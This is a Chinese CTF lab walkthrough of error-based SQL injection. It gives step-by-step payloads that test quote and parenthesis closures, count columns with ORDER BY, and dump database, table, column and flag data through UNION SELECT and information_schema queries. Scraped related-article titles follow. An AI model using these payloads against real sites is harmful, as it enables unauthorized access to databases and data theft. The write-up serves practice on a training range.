[靶场实战]:SQL注入-显错注入
SQL注入的本质:就是将用户输入的数据当作代码带入执行。
注入条件:
1.用户能控制输入
2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行
首先检查是否存在注入点
Rank1:
构造语句 ?id=1 and 1=1 没有报错

?id=1 and 1=2 也没有显示错误,检查是否被过滤了

?id=1' and 1=1 出现错误,说明这里被单引号过滤掉了

?id=1' and 1=1 --+ 回显正确 存在注入

Rank2:
?id=1 and 1=1 回显正确

?id=1 and 1=2 回显错误,判断存在注入

Rank3:
构造:?id=1 and 1=1 回显正确

?id=1 and 1=2 回显正确

?id=1' and 1=1 --+ 闭合引号回显错误,表示出现其他闭合

?id=1')and 1=1 --+ 尝试闭合括号进行绕过,回显正确,存在注入

Rank4:
构造语句:?id=1 and 1=1 回显正确

?id=1 and 1=2 回显正确,判断存在过滤

?id=1'and 1=1 --+ 判断是否存在'闭合 回显正确

?id=1'and 1=2 --+ 回显正确 表示未出现'闭合

?id=1)and 1=1--+ 判断是否存在括号闭合 回显正确

?id=1)and 1=2--+ 依然回显正确

?id=1" and 1 = 1 --+再试一下是否存在"闭合,回显错误,证明存在"闭合

?id=1") and 1 = 1 --+ 尝试和)一起判断过滤,回显正确,存在注入

脱库
由于Rank1-Rank4 都是显错注入,除了过滤之外的步骤都相同,就以Rank1进行脱库步骤
判断当前表的字段数:
?id=1' order by 5 --+ 判断字段数及回显点,显示错误,说明字段小于5

最后判断字段数为3 :
?id=1' order by 3 --+

使用联合查询判断显示位置
?id=0'union select 1,2,3 --+

这里选择2和3构建子查询都可
查询数据库名:
?id=0'union select 1,database(),3 --+

查询表名:
?id=0'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+

查找表中的字段:
因为是找flag,就查找我们觉得最有可能存在的表
?id=0'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'zkaq'),3 --+

存在flag
构建查数据的语句:
?id=0'union select 1,(select group_concat(flag,zKaQ) from security.zkaq),3 --+

[靶场实战]:SQL注入-显错注入的更多相关文章
- sql注入 --显错注入
前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录 ...
- ref:学习笔记 UpdateXml() MYSQL显错注入
ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...
- MSSQL注入:显错注入及反弹注入
前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...
- 豹子安全-注入工具-显错注入-asp_POST_显错_SQLServer_GetWebShell
豹子安全-注入工具-显错注入-SQL Server-上传WebShell 请看下列视频 . 该视频在停留10秒钟后开始. 或点击此处查看:豹子安全-注入工具-asp_POST_显错_SQLServer ...
- 十种MYSQL显错注入原理讲解(二)
上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...
- 十种MYSQL显错注入原理讲解(一)
开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...
- MSSQL显错注入爆数字型数据的一点思考
Title:MSSQL显错注入爆数字型数据的一点思考 --2011-02-22 15:23 MSSQL+ASP 最近在弄个站点,密码是纯数字的,convert(int,())转换出来不报错,也不知道其 ...
- 别人的渗透测试(三)--SQL显错注入
续上一章. 安全狗拦下7成的人,过狗是门学问,偷笑.jpg.很感谢和https://home.cnblogs.com/u/xishaonian/ 博主能一起研究过狗. 说多了,言归正传SQL注入大显错 ...
- SQL注入——报错注入
0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...
随机推荐
- 替换空格(剑指offer_5)
题目描述: 将一个字符串中的空格替换成"%20". Input: "A B" Output: "A%20B" 解题思路: 在字符串尾部填充任 ...
- 面试连环炮系列(七):HashMap的put操作做了什么
HashMap的put操作做了什么? HashMap的是由数组和链表构成的,JDK7之后加入了红黑树处理哈希冲突.put操作的步骤是这样的: 根据key值计算出哈希值作为数组下标.如果数组的这个位置是 ...
- 解决ES报错NoNodeAvailableException[None of the configured nodes are available:问题
elasticSearch的错误 NoNodeAvailableException[None of the configured nodes are available: [{#transport#- ...
- 一个随机切换user_agent的第三方python库:my_fake_useragent
因为my_fake_useragent 是第三方,所以需要自己进行安装. 不用担心,它没有任何依赖或者附加环境,只安装它自己就行. 方法1: pycharm传统安装方式. 方法2: pip insta ...
- PHP服务化搭建之nginx动静分离实战
如有什么问题可以加群交流:647617935 什么是动静分离 动静分离:将项目中的CSS,JS,HTML,JPG'.等静态资源和 PHP等动态资源分开处理的一种方式 动静分离优点 不同的文件由不同类型 ...
- Android WebView与H5联调技巧
版权声明:本文为xing_star原创文章,转载请注明出处! 本文同步自http://javaexception.com/archives/78 背景: 突然想写一篇关于Android WebView ...
- 利用 OpenCC 工具进行文字的简繁转换
前言 近日在公司遇到一个需求,因为准备要推出海外版产品,所以需要将所有的简体文字转换为繁体文字.一开始是改了表面的文字,但是后面发现很多提示语也需要去改,所以找了一个工具去对所有 .m 文件进行批量文 ...
- AndroidStudio3.0升级成3.5后之前项目报错解决
报错截图: 解决办法:在项目的build.gradle文件下加上google即可,如图:
- Linux系统学习 十七、VSFTP服务—本地用户访问—用户访问控制
FTP相关文件中用户控制列表文件 /etc/vsftpd/ftpusers #该文件永远都是黑名单(针对访问ftp服务,一般不做修改) /etc/vsftpd/user_list ...
- springboot+quartz+数据库存储
Spring整合Quartz a.quartz调度框架是有内置表的 进入quartz的官网http://www.quartz-scheduler.org/,点击Downloads, 下载后在目录\do ...